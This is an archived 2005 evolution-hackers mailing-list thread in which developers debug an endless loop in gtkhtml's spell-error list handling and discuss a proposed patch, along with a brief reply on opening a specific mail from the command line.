Feb 2005 22:18:27 +0100 (CET) Received: from lort (dD577524A.access.telenet.be [213.119.82.74]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id EB12413944C5; Thu, 24 Feb 2005 22:18:25 +0100 (CET) From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: evolution-hackers@lists.ximian.com Cc: Evolution Patches Content-Type: multipart/mixed; boundary="=-4ESX5lEUfPz1bOAIAWI/" Date: Thu, 24 Feb 2005 22:18:24 +0100 Message-Id: <1109279904.31955.26.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=0.7 required=5.0 tests=PATCH_UNIFIED_DIFF,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Thread locking in gtkhtml!? Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-4ESX5lEUfPz1bOAIAWI/ Content-Type: multipart/alternative; boundary="=-YNo3KMT3lrdb8OuGOrAS" --=-YNo3KMT3lrdb8OuGOrAS Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi there, While trying to figure out why at some race condition the Evolution composer was crashing (well, actually it was hanging in a loop), I decided to go fishing in the code of gtkhtml. I've found that there's a doubly-linked list being passed to some functions (but you can assume it's a global variable since it appears to be always the same pointer being passed): spell_errors. It contains SpellError objects. The original author of remove_spell_errors used a clever hack for removing what I assume where "old" spelling errors. So spellings errors that now have been corrected (Am I right)? However. That clever hack might have worked if there wasn't any threading involved. The hack removed an element from the list while already keeping a pointer to the next item in the list. So it's removing the current list-element, and by prefetching keeping a useful pointer to the next element. The next loop would work on the "next" pointer. While it has removed the current item from the global spell_errors list. Sounds like always correct. However. I've experienced moments when Evolution got into an endless loop at the remove_spell_errors routine: http://bugzilla.ximian.com/show_bug.cgi?id=72988 So I'm assuming that there's other functions who are manipulating the spell_errors list. And whats worse is that they are probably doing so in a different thread. Which in turn leads to race conditions in one of both parallel running processes. I don't know which thread or whatever. It's just a thought of mine. So I decided to redo this remove_spell_errors function in a less clever but also less hackish way. Easily by keeping a new doubly-linked list which I called toremove and creating a copy of the global list spell_errors and utilising that copy during the first loop, rather than working on a pointer to the global list. This E-mail and it's old spelling errors -- hehe -- are the first test of this function. So far it hasn't crashed on me once. Which is, for me at least, a whole new Evolution experience since a few weeks. Notice: If it's known which threads are working on this spell_errors list, some mutex-locking would be necessary here. You can't just remove an item from a list while another thread is continuing relying on it's contents. and GList hacks aren't to way to circumvent it. Why not just lock it and unlock when it's done? The way it's after this patch, shouldn't have any problems even without locking mechanisms. Since it's destroying the SpellError after removing it from that global spell_errors list. A possible reason why the previous method had problems might be because of this: static GList* remove_one (GList *list, GList *link) { (a) spell_error_destroy ((SpellError *) link->data); -- race conditions can happen here -- (b) return g_list_remove_link (list, link); } As you can see it's first destroying and they removing the link from the GList. It's possible my kernel is going to interrupt my process between (a) and (b) and that the other process is going to try playing with the pointer link->data during the time it was given to play on my CPU. This might also fix it. But then it's still using a hackish way for removing an item from the GList. static GList* remove_one (GList *list, GList *link) { GList *retval = g_list_remove_link (list, link); spell_error_destroy ((SpellError *) link->data); return retval; } -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org --=-YNo3KMT3lrdb8OuGOrAS Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
Hi there,

While trying to figure out why at some race condition the Evolution composer was crashing (well, actually it was hanging in a loop), I decided to go fishing in the code of gtkhtml.

I've found that there's a doubly-linked list being passed to some functions (but you can assume it's a global variable since it appears to be always the same pointer being passed): spell_errors. It contains SpellError objects.

The original author of remove_spell_errors used a clever hack for removing what I assume where "old" spelling errors. So spellings errors that now have been corrected (Am I right)?

However. That clever hack might have worked if there wasn't any threading involved. The hack removed an element from the list while already keeping a pointer to the next item in the list. So it's removing the current list-element, and by prefetching keeping a useful pointer to the next element. The next loop would work on the "next" pointer. While it has removed the current item from the global spell_errors list.

Sounds like always correct. However. I've experienced moments when Evolution got into an endless loop at the remove_spell_errors routine: http://bugzilla.ximian.com/show_bug.cgi?id=72988

So I'm assuming that there's other functions who are manipulating the spell_errors list. And whats worse is that they are probably doing so in a different thread. Which in turn leads to race conditions in one of both parallel running processes. I don't know which thread or whatever. It's just a thought of mine.

So I decided to redo this remove_spell_errors function in a less clever but also less hackish way. Easily by keeping a new doubly-linked list which I called toremove and creating a copy of the global list spell_errors and utilising that copy during the first loop, rather than working on a pointer to the global list.

This E-mail and it's old spelling errors -- hehe -- are the first test of this function. So far it hasn't crashed on me once. Which is, for me at least, a whole new Evolution experience since a few weeks.

Notice: If it's known which threads are working on this spell_errors list, some mutex-locking would be necessary here. You can't just remove an item from a list while another thread is continuing relying on it's contents. and GList hacks aren't to way to circumvent it. Why not just lock it and unlock when it's done? The way it's after this patch, shouldn't have any problems even without locking mechanisms. Since it's destroying the SpellError after removing it from that global spell_errors list.

A possible reason why the previous method had problems might be because of this:

static GList*
remove_one (GList *list, GList *link)
{
(a) spell_error_destroy ((SpellError *) link->data);
        -- race conditions can happen here --
(b) return g_list_remove_link (list, link);
}

As you can see it's first destroying and they removing the link from the GList. It's possible my kernel is going to interrupt my process between (a) and (b) and that the other process is going to try playing with the pointer link->data during the time it was given to play on my CPU.


This might also fix it. But then it's still using a hackish way for removing an item from the GList.

static GList*
remove_one (GList *list, GList *link)
{
    GList *retval = g_list_remove_link (list, link);
    spell_error_destroy ((SpellError *) link->data);
    return retval;
}



-- 
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org
--=-YNo3KMT3lrdb8OuGOrAS-- --=-4ESX5lEUfPz1bOAIAWI/ Content-Disposition: attachment; filename=htmltext.c.pvanhoof.diff Content-Type: text/x-patch; name=htmltext.c.pvanhoof.diff; charset=UTF-8 Content-Transfer-Encoding: 7bit ? test-suite Index: htmltext.c =================================================================== RCS file: /cvs/gnome/gtkhtml/src/htmltext.c,v retrieving revision 1.274 diff -u -r1.274 htmltext.c --- htmltext.c 3 Feb 2005 17:18:43 -0000 1.274 +++ htmltext.c 24 Feb 2005 20:49:24 -0000 @@ -2097,21 +2097,15 @@ } static GList * -remove_one (GList *list, GList *link) -{ - spell_error_destroy ((SpellError *) link->data); - return g_list_remove_link (list, link); -} - -static GList * remove_spell_errors (GList *spell_errors, guint offset, guint len) { SpellError *se; - GList *cur, *cnext; + GList *cur=NULL, *toremove=NULL; + + cur = g_list_copy (spell_errors); - cur = spell_errors; while (cur) { - cnext = cur->next; + se = (SpellError *) cur->data; if (se->off < offset) { if (se->off + se->len > offset) { @@ -2120,20 +2114,34 @@ else se->len -= len; if (se->len < 2) - spell_errors = remove_one (spell_errors, cur); + toremove = g_list_append (toremove, se); } } else if (se->off < offset + len) { - if (se->off + se->len <= offset + len) - spell_errors = remove_one (spell_errors, cur); - else { + if (se->off + se->len <= offset + len) { + toremove = g_list_append (toremove, se); + } else { se->len -= offset + len - se->off; se->off = offset + len; if (se->len < 2) - spell_errors = remove_one (spell_errors, cur); + toremove = g_list_append (toremove, se); } } - cur = cnext; + + cur = g_list_next (cur); } + + g_list_free (cur); + + while (toremove) + { + se = (SpellError *) toremove->data; + spell_errors = g_list_remove_all (spell_errors, se); + spell_error_destroy ((SpellError *) se); + toremove = g_list_next (toremove); + } + + g_list_free (toremove); + return spell_errors; } --=-4ESX5lEUfPz1bOAIAWI/-- From notzed@ximian.com Thu Feb 24 21:59:36 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 9B7FA124F8D; Thu, 24 Feb 2005 21:59:36 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id AE9B112482C for ; Thu, 24 Feb 2005 21:59:24 -0500 (EST) Received: (qmail 940 invoked from network); 25 Feb 2005 02:59:22 -0000 Received: from localhost (HELO ?192.168.1.62?) (127.0.0.1) by localhost with SMTP; 25 Feb 2005 02:59:22 -0000 Subject: Re: [Evolution-hackers] Open mail from commandline From: Not Zed To: linux@software.dk Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1109254317.10582.3.camel@localhost> References: <1109254317.10582.3.camel@localhost> Content-Type: multipart/alternative; boundary="=-yIYabdLsl/qO8ny4fCh9" Date: Fri, 25 Feb 2005 10:57:36 +0800 Message-Id: <1109300256.4852.38.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-20.5 required=5.0 tests=ASCII_FORM_ENTRY,BAYES_20,EMAIL_ATTRIBUTION,HTML_30_40, IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-yIYabdLsl/qO8ny4fCh9 Content-Type: text/plain Content-Transfer-Encoding: 7bit Yes, but it is a hack, and therefore not a long-term supported interface. For the local inbox, you do something like evolution "email://local@local/Inbox;uid=1" There's no way to find the uid though. For oher mail accounts you use the account id from the accounts list. There's no supported way to find this eiher. e.g. evolution "email://abcdefxwy@host.foo/Inbox;uid=12" On Thu, 2005-02-24 at 15:11 +0100, Soren Mathiasen wrote: > Hi, > > Is it possible to open up a specific mail in the Inbox from the command > line ??? > > Cheers, Soren > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers --=-yIYabdLsl/qO8ny4fCh9 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
Yes, but it is a hack, and therefore not a long-term supported interface.

For the local inbox, you do something like

evolution "email://local@local/Inbox;uid=1"

There's no way to find the uid though.

For oher mail accounts you use the account id from the accounts list.  There's no supported way to find this eiher.

e.g.
evolution "email://abcdefxwy@host.foo/Inbox;uid=12"


On Thu, 2005-02-24 at 15:11 +0100, Soren Mathiasen wrote: 
Hi,

Is it possible to open up a specific mail in the Inbox from the command
line ???

Cheers, Soren


_______________________________________________
evolution-hackers maillist  -  evolution-hackers@lists.ximian.com
http://lists.ximian.com/mailman/listinfo/evolution-hackers
--=-yIYabdLsl/qO8ny4fCh9-- From notzed@ximian.com Thu Feb 24 22:24:55 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B9AF2124884; Thu, 24 Feb 2005 22:24:55 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 78A31124739 for ; Thu, 24 Feb 2005 22:24:43 -0500 (EST) Received: (qmail 966 invoked from network); 25 Feb 2005 03:24:41 -0000 Received: from localhost (HELO ?192.168.1.62?) (127.0.0.1) by localhost with SMTP; 25 Feb 2005 03:24:41 -0000 Subject: Re: [Evolution-hackers] Thread locking in gtkhtml!? From: Not Zed To: spamfrommailing@freax.org Cc: evolution-hackers@lists.ximian.com, Evolution Patches In-Reply-To: <1109279904.31955.26.camel@localhost.localdomain> References: <1109279904.31955.26.camel@localhost.localdomain> Content-Type: multipart/alternative; boundary="=-05LGTb+RjLv+ilCuf4ZF" Date: Fri, 25 Feb 2005 11:22:54 +0800 Message-Id: <1109301774.4852.56.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-18.5 required=5.0 tests=EMAIL_ATTRIBUTION,HTML_10_20,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-05LGTb+RjLv+ilCuf4ZF Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi Philip, On Thu, 2005-02-24 at 22:18 +0100, Philip Van Hoof wrote: > > Hi there, > > While trying to figure out why at some race condition the Evolution > composer was crashing (well, actually it was hanging in a loop), I > decided to go fishing in the code of gtkhtml. > > I've found that there's a doubly-linked list being passed to some > functions (but you can assume it's a global variable since it appears > to be always the same pointer being passed): spell_errors. It contains > SpellError objects. > > The original author of remove_spell_errors used a clever hack for > removing what I assume where "old" spelling errors. So spellings > errors that now have been corrected (Am I right)? > > However. That clever hack might have worked if there wasn't any > threading involved. The hack removed an element from the list while > already keeping a pointer to the next item in the list. So it's > removing the current list-element, and by prefetching keeping a useful > pointer to the next element. The next loop would work on the "next" > pointer. While it has removed the current item from the global > spell_errors list. There shouldn't be any threading involved at all with these functions. This code should all run exclusively in the main thread. That doesn't mean there isn't race-like problems in the code though. > Sounds like always correct. However. I've experienced moments when > Evolution got into an endless loop at the remove_spell_errors routine: > http://bugzilla.ximian.com/show_bug.cgi?id=72988 > > So I'm assuming that there's other functions who are manipulating the > spell_errors list. And whats worse is that they are probably doing so > in a different thread. Which in turn leads to race conditions in one > of both parallel running processes. I don't know which thread or > whatever. It's just a thought of mine. > > So I decided to redo this remove_spell_errors function in a less > clever but also less hackish way. Easily by keeping a new > doubly-linked list which I called toremove and creating a copy of the > global list spell_errors and utilising that copy during the first > loop, rather than working on a pointer to the global list. > > This E-mail and it's old spelling errors -- hehe -- are the first test > of this function. So far it hasn't crashed on me once. Which is, for > me at least, a whole new Evolution experience since a few weeks. > > Notice: If it's known which threads are working on this spell_errors > list, some mutex-locking would be necessary here. You can't just > remove an item from a list while another thread is continuing relying > on it's contents. and GList hacks aren't to way to circumvent it. Why > not just lock it and unlock when it's done? The way it's after this > patch, shouldn't have any problems even without locking mechanisms. > Since it's destroying the SpellError after removing it from that > global spell_errors list. Its probably "corba re-entrancy" or "glib re-entrancy", i.e. something is calling a corba method or a glib function, which then goes back into the mainloop and ends up invoking a callback/signal, while it is running a loop on the same data somewhere up the stack. These problems are often more tricky to track down and fix than real race conditions ... and often harder to fix since you can't just use a simple lock. Well i just had a look at the code,and maybe it isn't, none of the loops do anything but purely memory operations inside of them. > A possible reason why the previous method had problems might be > because of this: > > static GList* > remove_one (GList *list, GList *link) > { > (a) spell_error_destroy ((SpellError *) link->data); > -- race conditions can happen here -- > (b) return g_list_remove_link (list, link); > } > > As you can see it's first destroying and they removing the link from > the GList. It's possible my kernel is going to interrupt my process > between (a) and (b) and that the other process is going to try playing > with the pointer link->data during the time it was given to play on my > CPU. Yeah but it can't be a thread issue :) (or it better not be, if it is, there are bigger problems than this happening). > > This might also fix it. But then it's still using a hackish way for > removing an item from the GList. > > static GList* > remove_one (GList *list, GList *link) > { > GList *retval = g_list_remove_link (list, link); > spell_error_destroy ((SpellError *) link->data); > return retval; > } I doubt it would make any difference, spell_error_destroy() is just a g_free() and nothing more. remove_one() should also free the link I think, since it looks like it is just leaked currently. BTW none of these fixes would be any help if it was threaded - it would definitely need a lock. The remove_spell_errors() looks like a normal iterative-with-modify loop, I can't imagine it is a problem as such, assuming nothing silly is going on with the list (e.g. if the list contains freed nodes or invalid back-pointers). Valgrind could check this - only if you changed glib not to use memchunks for the list nodes though. --=-05LGTb+RjLv+ilCuf4ZF Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
Hi Philip,

On Thu, 2005-02-24 at 22:18 +0100, Philip Van Hoof wrote:

Hi there,

While trying to figure out why at some race condition the Evolution composer was crashing (well, actually it was hanging in a loop), I decided to go fishing in the code of gtkhtml.

I've found that there's a doubly-linked list being passed to some functions (but you can assume it's a global variable since it appears to be always the same pointer being passed): spell_errors. It contains SpellError objects.

The original author of remove_spell_errors used a clever hack for removing what I assume where "old" spelling errors. So spellings errors that now have been corrected (Am I right)?

However. That clever hack might have worked if there wasn't any threading involved. The hack removed an element from the list while already keeping a pointer to the next item in the list. So it's removing the current list-element, and by prefetching keeping a useful pointer to the next element. The next loop would work on the "next" pointer. While it has removed the current item from the global spell_errors list.
There shouldn't be any threading involved at all with these functions.  This code should all run exclusively in the main thread.  That doesn't mean there isn't race-like problems in the code though.
Sounds like always correct. However. I've experienced moments when Evolution got into an endless loop at the remove_spell_errors routine: http://bugzilla.ximian.com/show_bug.cgi?id=72988

So I'm assuming that there's other functions who are manipulating the spell_errors list. And whats worse is that they are probably doing so in a different thread. Which in turn leads to race conditions in one of both parallel running processes. I don't know which thread or whatever. It's just a thought of mine.

So I decided to redo this remove_spell_errors function in a less clever but also less hackish way. Easily by keeping a new doubly-linked list which I called toremove and creating a copy of the global list spell_errors and utilising that copy during the first loop, rather than working on a pointer to the global list.

This E-mail and it's old spelling errors -- hehe -- are the first test of this function. So far it hasn't crashed on me once. Which is, for me at least, a whole new Evolution experience since a few weeks.

Notice: If it's known which threads are working on this spell_errors list, some mutex-locking would be necessary here. You can't just remove an item from a list while another thread is continuing relying on it's contents. and GList hacks aren't to way to circumvent it. Why not just lock it and unlock when it's done? The way it's after this patch, shouldn't have any problems even without locking mechanisms. Since it's destroying the SpellError after removing it from that global spell_errors list.
Its probably "corba re-entrancy" or "glib re-entrancy", i.e. something is calling a corba method or a glib function, which then goes back into the mainloop and ends up invoking a callback/signal, while it is running a loop on the same data somewhere up the stack.  These problems are often more tricky to track down and fix than real race conditions ... and often harder to fix since you can't just use a simple lock.

Well i just had a look at the code,and maybe it isn't, none of the loops do anything but purely memory operations inside of them.
A possible reason why the previous method had problems might be because of this:

static GList*
remove_one (GList *list, GList *link)
{
(a) spell_error_destroy ((SpellError *) link->data);
        -- race conditions can happen here --
(b) return g_list_remove_link (list, link);
}

As you can see it's first destroying and they removing the link from the GList. It's possible my kernel is going to interrupt my process between (a) and (b) and that the other process is going to try playing with the pointer link->data during the time it was given to play on my CPU.
Yeah but it can't be a thread issue :)  (or it better not be, if it is, there are bigger problems than this happening).

This might also fix it. But then it's still using a hackish way for removing an item from the GList.

static GList*
remove_one (GList *list, GList *link)
{
    GList *retval = g_list_remove_link (list, link);
    spell_error_destroy ((SpellError *) link->data);
    return retval;
}
I doubt it would make any difference, spell_error_destroy() is just a g_free() and nothing more.

remove_one() should also free the link I think, since it looks like it is just leaked currently.

BTW none of these fixes would be any help if it was threaded - it would definitely need a lock.

The remove_spell_errors() looks like a normal iterative-with-modify loop, I can't imagine it is a problem as such, assuming nothing silly is going on with the list (e.g. if the list contains freed nodes or invalid back-pointers).  Valgrind could check this - only if you changed glib not to use memchunks for the list nodes though.

--=-05LGTb+RjLv+ilCuf4ZF-- From spamfrommailing@freax.org Fri Feb 25 03:46:07 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id DEC2B124F96; Fri, 25 Feb 2005 03:46:07 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 9552B124750; Fri, 25 Feb 2005 03:45:55 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id 9669B1394AB6; Fri, 25 Feb 2005 09:45:51 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 12204-05; Fri, 25 Feb 2005 09:45:44 +0100 (CET) Received: from [192.168.0.129] (cvs.maia-scientific.com [213.193.139.10]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id 0F5D71394227; Fri, 25 Feb 2005 09:45:44 +0100 (CET) Subject: Re: [evolution-patches] Re: [Evolution-hackers] Thread locking in gtkhtml!? From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: Not Zed Cc: evolution-hackers@lists.ximian.com, Evolution Patches In-Reply-To: <1109301774.4852.56.camel@lostzed.mmc.com.au> References: <1109279904.31955.26.camel@localhost.localdomain> <1109301774.4852.56.camel@lostzed.mmc.com.au> Content-Type: multipart/alternative; boundary="=-wvuLs61LncWy69LFYbWS" Date: Fri, 25 Feb 2005 09:45:43 +0100 Message-Id: <1109321143.9733.32.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=-27.4 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,HTML_10_20,IN_REP_TO, QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, SIGNATURE_LONG_SPARSE autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-wvuLs61LncWy69LFYbWS Content-Type: text/plain Content-Transfer-Encoding: 7bit On Fri, 2005-02-25 at 11:22 +0800, Not Zed wrote: > There shouldn't be any threading involved at all with these functions. > This code should all run exclusively in the main thread. That doesn't > mean there isn't race-like problems in the code though. Is a remote ORBit-2 function working on the spell_errors list? Or a function that has been called by ORBit-2? You can create a POA that will, in the background, launch a new thread to handle such a remote procedure call. In which case the developer might not have noticed it, but then it is going to use multiple threads and it will run in parallel. If I remember it correctly, it happens like this when you initialize the POA with ORBIT_THREAD_HINT_PER_REQUEST. > Its probably "corba re-entrancy" or "glib re-entrancy", i.e. something > is calling a corba method or a glib function, which then goes back > into the mainloop and ends up invoking a callback/signal, while it is > running a loop on the same data somewhere up the stack. These > problems are often more tricky to track down and fix than real race > conditions ... and often harder to fix since you can't just use a > simple lock. Okay. My patch might have made it a little but more stable then. But I agree that if thats the case, this patch isn't a real fix for the problem. I think it's more stable for me now, because there's a smaller timeframe in which problems can happen. The unpatched version can introduce problems during the time it's looping the spell_errors. Mine will during that time just collect those items that are to be removed. It can only create problems while it's actually removing the collected items. Which takes less time. Overall will the remove_spell_errors function take longer, but there's a shorter timetime in which it can create problems. It's not removing the problem, it's just making it happen less frequently. Which isn't going to help debugging this case :-), of course. > Well i just had a look at the code,and maybe it isn't, none of the > loops do anything but purely memory operations inside of them. > > > A possible reason why the previous method had problems might be > > because of this: > > static GList* > > remove_one (GList *list, GList *link) > > { > > (a) spell_error_destroy ((SpellError *) link->data); > > -- race conditions can happen here -- > > (b) return g_list_remove_link (list, link); > > } > > > > As you can see it's first destroying and they removing the link from > > the GList. It's possible my kernel is going to interrupt my process > > between (a) and (b) and that the other process is going to try > > playing with the pointer link->data during the time it was given to > > play on my CPU. > Yeah but it can't be a thread issue :) (or it better not be, if it > is, there are bigger problems than this happening). > > > > This might also fix it. But then it's still using a hackish way for > > removing an item from the GList. > > > > static GList* > > remove_one (GList *list, GList *link) > > { > > GList *retval = g_list_remove_link (list, link); > > spell_error_destroy ((SpellError *) link->data); > > return retval; > > } > > I doubt it would make any difference, spell_error_destroy() is just a > g_free() and nothing more. Which leaves the pointer at link->data undefined, while it's possible that another thread is still working on that pointer at the same time (of course only in case something else is running in parallel). If that other routine, being run in parallel, is doing something like this: while (spell_errors) { SPellError *e = spell_errors->data; /* Do stuff with e */ spell_errors = g_list_next (spell_errors); } It can't be sure whether or not e has been g_free't by the other thread during one such loop or not. Each time it would touch e, it would have to check for it (and then still, an "if" can also get scheduled). Therefor, just like you said, it's necessary to introduce locking and lock the other thread each atomic block of operations it's going to perform on items in the spell_errors list. > remove_one() should also free the link I think, since it looks like it > is just leaked currently. Indeed. I've noticed it too. But rather than fixing remove_one, I decided to rewrite it's calling-function ;-). There's only one function calling remove_one, thats the remove_spell_errors. > BTW none of these fixes would be any help if it was threaded - it > would definitely need a lock. Indeed. > The remove_spell_errors() looks like a normal iterative-with-modify > loop, I can't imagine it is a problem as such, assuming nothing silly > is going on with the list (e.g. if the list contains freed nodes or > invalid back-pointers). Valgrind could check this - only if you > changed glib not to use memchunks for the list nodes though. -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org --=-wvuLs61LncWy69LFYbWS Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Fri, 2005-02-25 at 11:22 +0800, Not Zed wrote:
There shouldn't be any threading involved at all with these functions.  This code should all run exclusively in the main thread.  That doesn't mean there isn't race-like problems in the code though.
Is a remote ORBit-2 function working on the spell_errors list? Or a function that has been called by ORBit-2? You can create a POA that will, in the background, launch a new thread to handle such a remote procedure call. In which case the developer might not have noticed it, but then it is going to use multiple threads and it will run in parallel.

If I remember it correctly, it happens like this when you initialize the POA with ORBIT_THREAD_HINT_PER_REQUEST.

Its probably "corba re-entrancy" or "glib re-entrancy", i.e. something is calling a corba method or a glib function, which then goes back into the mainloop and ends up invoking a callback/signal, while it is running a loop on the same data somewhere up the stack.  These problems are often more tricky to track down and fix than real race conditions ... and often harder to fix since you can't just use a simple lock.

Okay. My patch might have made it a little but more stable then. But I agree that if thats the case, this patch isn't a real fix for the problem. I think it's more stable for me now, because there's a smaller timeframe in which problems can happen. The unpatched version can introduce problems during the time it's looping the spell_errors. Mine will during that time just collect those items that are to be removed. It can only create problems while it's actually removing the collected items. Which takes less time. Overall will the remove_spell_errors function take longer, but there's a shorter timetime in which it can create problems.

It's not removing the problem, it's just making it happen less frequently. Which isn't going to help debugging this case :-), of course.

Well i just had a look at the code,and maybe it isn't, none of the loops do anything but purely memory operations inside of them.
A possible reason why the previous method had problems might be because of this:

static GList*
remove_one (GList *list, GList *link)
{
(a) spell_error_destroy ((SpellError *) link->data);
        -- race conditions can happen here --
(b) return g_list_remove_link (list, link);
}

As you can see it's first destroying and they removing the link from the GList. It's possible my kernel is going to interrupt my process between (a) and (b) and that the other process is going to try playing with the pointer link->data during the time it was given to play on my CPU.

Yeah but it can't be a thread issue :)  (or it better not be, if it is, there are bigger problems than this happening).


This might also fix it. But then it's still using a hackish way for removing an item from the GList.

static GList*
remove_one (GList *list, GList *link)
{
    GList *retval = g_list_remove_link (list, link);
    spell_error_destroy ((SpellError *) link->data);
    return retval;
}
I doubt it would make any difference, spell_error_destroy() is just a g_free() and nothing more.

Which leaves the pointer at link->data undefined, while it's possible that another thread is still working on that pointer at the same time (of course only in case something else is running in parallel).

If that other routine, being run in parallel, is doing something like this:

while (spell_errors)
{
    SPellError *e = spell_errors->data;

    /* Do stuff with e */

    spell_errors = g_list_next (spell_errors);
}

It can't be sure whether or not e has been g_free't by the other thread during one such loop or not. Each time it would touch e, it would have to check for it (and then still, an "if" can also get scheduled). Therefor, just like you said, it's necessary to introduce locking and lock the other thread each atomic block of operations it's going to perform on items in the spell_errors list.

remove_one() should also free the link I think, since it looks like it is just leaked currently.

Indeed. I've noticed it too. But rather than fixing remove_one, I decided to rewrite it's calling-function ;-). There's only one function calling remove_one, thats the remove_spell_errors.

BTW none of these fixes would be any help if it was threaded - it would definitely need a lock.

Indeed.

The remove_spell_errors() looks like a normal iterative-with-modify loop, I can't imagine it is a problem as such, assuming nothing silly is going on with the list (e.g. if the list contains freed nodes or invalid back-pointers).  Valgrind could check this - only if you changed glib not to use memchunks for the list nodes though.



-- 
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org
